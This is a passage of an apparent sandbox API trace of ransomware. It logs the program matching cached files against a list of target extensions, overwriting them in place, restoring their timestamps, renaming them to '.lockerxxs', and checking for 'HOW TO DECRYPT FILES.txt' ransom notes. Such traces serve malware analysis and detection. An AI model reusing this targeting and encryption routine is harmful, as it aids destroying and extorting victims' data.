lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png." [0083.887] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png.lockerxxs" [0083.887] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa58nqj[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.888] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1d0 [0083.888] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x5341bc90, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x5341bc90, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x5341bc90, dwHighDateTime=0x1d2dd9e)) returned 1 [0083.888] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.888] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1aa, lpOverlapped=0x0) returned 1 [0083.891] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png") returned="AA58NQj[1].png" [0083.891] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.891] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1aa, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1aa, lpOverlapped=0x0) returned 1 [0083.891] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.891] CloseHandle (hObject=0xa4) returned 1 [0083.891] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa58nqj[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa58nqj[1].png.lockerxxs")) returned 1 [0083.892] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x515e8570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x515e8570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x515e8570, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="AA61Ofl[1].png", cAlternateFileName="AA61OF~1.PNG")) returned 1 [0083.892] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.892] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AA61Ofl[1].png") returned 1 [0083.893] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AA61Ofl[1].png") returned 1 [0083.893] lstrcmpiA (lpString1="", lpString2="AA61Ofl[1].png") returned -1 [0083.893] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png") returned="AA58NQj[1].png" [0083.893] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0083.893] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0083.893] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0083.893] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0083.893] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="AA61Ofl[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png" [0083.893] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.ems") returned 0 [0083.893] lstrlenA (lpString="*.ems") returned 5 [0083.893] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.db") returned 0 [0083.893] lstrlenA (lpString="*.db") returned 4 [0083.893] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.dbf") returned 0 [0083.893] lstrlenA (lpString="*.dbf") returned 5 [0083.893] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.myox") returned 0 [0083.893] lstrlenA (lpString="*.myox") returned 6 [0083.893] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.myo") returned 0 [0083.893] lstrlenA (lpString="*.myo") returned 5 [0083.893] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.qbw") returned 0 [0083.893] lstrlenA (lpString="*.qbw") returned 5 [0083.893] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.qbb") returned 0 [0083.893] lstrlenA (lpString="*.qbb") returned 5 [0083.894] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.qbm") returned 0 [0083.894] lstrlenA (lpString="*.qbm") returned 5 [0083.894] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.qbo") returned 0 [0083.894] lstrlenA (lpString="*.qbo") returned 5 [0083.894] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.qbx") returned 0 [0083.894] lstrlenA (lpString="*.qbx") returned 5 [0083.894] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.qba") returned 0 [0083.894] lstrlenA (lpString="*.qba") returned 5 [0083.894] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.qby") returned 0 [0083.894] lstrlenA (lpString="*.qby") returned 5 [0083.894] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.qbj") returned 0 [0083.894] lstrlenA (lpString="*.qbj") returned 5 [0083.894] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.ofx") returned 0 [0083.894] lstrlenA (lpString="*.ofx") returned 5 [0083.894] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.qif") returned 0 [0083.894] lstrlenA (lpString="*.qif") returned 5 [0083.895] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.mye") returned 0 [0083.895] lstrlenA (lpString="*.mye") returned 5 [0083.895] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.mbox") returned 0 [0083.895] lstrlenA (lpString="*.mbox") returned 6 [0083.895] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.eml") returned 0 [0083.895] lstrlenA (lpString="*.eml") returned 5 [0083.895] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.pst") returned 0 [0083.895] lstrlenA (lpString="*.pst") returned 5 [0083.895] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.ost") returned 0 [0083.895] lstrlenA (lpString="*.ost") returned 5 [0083.895] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.idx") returned 0 [0083.895] lstrlenA (lpString="*.idx") returned 5 [0083.895] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.dbx") returned 0 [0083.895] lstrlenA (lpString="*.dbx") returned 5 [0083.895] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.sql") returned 0 [0083.895] lstrlenA (lpString="*.sql") returned 5 [0083.895] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.mdb") returned 0 [0083.895] lstrlenA (lpString="*.mdb") returned 5 [0083.895] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.fdb") returned 0 [0083.895] lstrlenA (lpString="*.fdb") returned 5 [0083.895] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.wab") returned 0 [0083.895] lstrlenA (lpString="*.wab") returned 5 [0083.895] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.dat") returned 0 [0083.895] lstrlenA (lpString="*.dat") returned 5 [0083.895] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.txt") returned 0 [0083.895] lstrlenA (lpString="*.txt") returned 5 [0083.895] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.jpeg") returned 0 [0083.896] lstrlenA (lpString="*.jpeg") returned 6 [0083.896] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.jpg") returned 0 [0083.896] lstrlenA (lpString="*.jpg") returned 5 [0083.896] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", pszSpec="*.png") returned 1 [0083.896] lstrlenA (lpString="*.png") returned 5 [0083.896] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png" [0083.896] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png" [0083.896] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png." [0083.896] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png.lockerxxs" [0083.896] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa61ofl[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.897] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1c4 [0083.897] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x515e8570, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x515e8570, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x515e8570, dwHighDateTime=0x1d2dd9e)) returned 1 [0083.897] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.897] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x19e, lpOverlapped=0x0) returned 1 [0083.899] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png") returned="AA61Ofl[1].png" [0083.899] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.899] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x19e, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x19e, lpOverlapped=0x0) returned 1 [0083.899] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.899] CloseHandle (hObject=0xa4) returned 1 [0083.899] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa61ofl[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa61ofl[1].png.lockerxxs")) returned 1 [0083.900] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45915110, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45915110, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45915110, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="AA6SFRQ[2].png", cAlternateFileName="AA6SFR~2.PNG")) returned 1 [0083.900] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.900] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AA6SFRQ[2].png") returned 1 [0083.900] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AA6SFRQ[2].png") returned 1 [0083.900] lstrcmpiA (lpString1="", lpString2="AA6SFRQ[2].png") returned -1 [0083.900] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png") returned="AA61Ofl[1].png" [0083.900] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0083.900] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0083.900] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0083.900] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0083.900] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="AA6SFRQ[2].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png" [0083.900] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.ems") returned 0 [0083.900] lstrlenA (lpString="*.ems") returned 5 [0083.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", pszSpec="*.db") returned 0 [0083.901] lstrlenA (lpString="*.db") returned 4 [0083.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png", 